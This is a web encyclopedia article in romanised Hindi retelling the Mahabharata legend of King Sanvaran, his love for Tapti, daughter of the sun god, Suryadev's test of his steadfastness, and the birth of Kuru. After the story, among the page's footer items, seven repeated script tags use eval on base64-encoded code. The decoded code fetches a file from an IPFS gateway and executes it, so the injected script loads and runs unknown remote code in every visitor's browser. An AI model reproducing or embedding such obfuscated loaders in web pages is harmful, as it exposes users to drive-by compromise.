संवरण
sanvaran hastinapur ke pratapi raja the. ve raja ajamidh ke vanshaj the. sudas ka sanvaran se yuddh hua tha, jise kuchh vidvan rrigved mean varnit 'dasharajn yuddh' manate haian. raja sudas ke samay panchal rajy ka samuchit vistar hua tha. bad mean sanvaran ke putr 'kuru' ne shakti badhakar panchal rajy ko apane adhin kar liya, tabhi se yah rajy sanyukt roop se 'kuru-panchal' kahalaya.
parichay
hindoo dharmik granth 'mahabharat' ke anusar hastinapur mean ek pratapi raja tha, jisaka nam sanvaran tha. sanvaran vedoan ko manane vala aur sooryadev ka upasak tha. vah jab tak sooryadev ki upasana nahian kar leta tha, jal ka ek ghooant bhi kanth ke niche nahian utarata tha.
tapti se bheant
ek din sanvaran him parvat par hath mean dhanush-ban lekar akhet ke lie bhraman kar raha tha, tabhi use ek atyant suandar yuvati dikhaee di. vah yuvati itani suandar thi ki sanvaran us par asakt ho gaya. vah usake pas jakar bola- "tanvangi, tum kaun ho? tum devi ho, gandharv ho ya kinnari ho? tumhean dekhakar mera chitt chanchal aur vyakul ho utha. kya tum mere sath gandharv vivah karogi? maian samrat hooan, tumhean har tarah se sukhi rakhooanga." yuvati ne ek kshan sanvaran ko dekha aur phir vah adrishy ho gee. yuvati ke adrishy ho jane par sanvaran atyadhik vyakul ho gaya. vah dhanush-ban pheankakar unmattoan ki bhaanti vilap karane laga.
usake vilap ke bad yuvati pun: prakat huee. vah sanvaran ki or dekhati huee boli- "rajan! maian svayan ap par mugdh hooan, kiantu maian apane pita ki ajna ke vash mean hooan. maian sooryadev ki chhoti putri hooan. mera nam tapti[1] hai. jab tak mere pita ajna nahian deange, maian apake sath vivah nahian kar sakati. yadi apako mujhe pana hai to mere pita ko prasann kijie." yuvati apane kathan ko samapt karati huee pun: adrishy ho gee. sanvaran pun: vilap karane laga. vah besudh hokar tapti ko pukarate-pukarate gir p da aur behosh ho gaya. hosh mean ane par use tapti ke dvara kahi gee batean yad aeean aur vah man hi man sochata raha ki vah tapti ko pane ke lie sooryadev ki aradhana karega.
sooryadev dvara pariksha
sanvaran usi sthan par sooryadev ki aradhana karane laga. dhire-dhire varshoan bit ge, sanvaran tap karata raha. aant mean sooryadev ke man mean sanvaran ki pariksha lene ka vichar utpann hua. ratri ke samay sanvaran aankhean band kie hue dhyanamagn baitha tha. charoan or sannata tha. tabhi usake kanoan mean kisi ka svar sunaee diya- "sanvaran, too yahaan tap mean sanlagn hai. teri rajadhani agni mean jal rahi hai." sanvaran bilkul shaant apani jagah par baitha raha. usake man mean ranchamatr bhi du:kh paida nahian hua. usake kanoan mean pun: doosara svar gooanja- "sanvaran, tere kutuanb ke sabhi log agni mean jalakar mar ge." kiantu phir bhi vah himalay sa dridh hokar apani jagah par baitha raha. usake kanoan mean pun: tisari bar kanth-svar p da- "sanvaran, teri praja akal ki agni mean jalakar bhasm ho rahi hai. tere nam ko sunakar log thoo-thoo rahe haian." phir bhi vah dridhatapoorvak tap mean laga raha. usaki dridhata par sooryadev prasann ho uthe aur unhoanne prakat hokar kaha- "sanvaran, maian tumhari dridhata par mugdh hooan. bolo, tumhean kya chahie?" sanvaran sooryadev ko pranam karata hua bola- "dev! mujhe apaki putri tapti ko chho dakar aur kuchh nahian chahie. kripa karake mujhe tapti ko dekar mere jivan ko kritarth kijie." sooryadev ne prasannata ki mudra mean uttar diya, 'tathastu.'
kuru ka janm
sanvaran apani patni tapti ke sath usi doosare rajy ke suandar kshetr mean rahane laga aur rag-rang mean apani praja aur rajy ko bhi bhool gaya. udhar sanvaran ke rajy mean bhishan akal paida hua aur jaisa-jaisa sooryadev ne kaha tha, vaisa-vaisa hone laga. sanvaran ke mantri ne apane raja ki khoj ki aur unhean rajy ka sanpoorn hal bataya. mantri ne apani buddhimani se sanvaran ko svapnalok se bahar nikala aur apane rajy ke prati jimmedari ka ahasas karaya. mantri ki batean sunakar sanvaran ka hriday kaanp gaya aur use is bat ka bodh hone laga ki maianne ek stri ke prati asakt hokar apani praja aur rajy ko chho d diya. sanvaran ne kaha- "mantriji. maian apaka kritajn hooan, apane mujhe jagakar bahut achchha kiya." sanvaran tapti ke sath apani rajadhani pahuancha. usake rajadhani mean pahuanchate hi joroan ki varsha huee. sookhi huee prithvi hariyali se dhank gee. akal door ho gaya. praja sukh aur shaanti ke sath jivan vyatit karane lagi. vah sanvaran ko paramatma aur tapti ko devi manakar donoan ki pooja karane lagi. sanvaran aur tapti se hi 'kuru' ka janm hua.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kahian-kahian ise 'tapati' bhi kaha gaya hai.
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>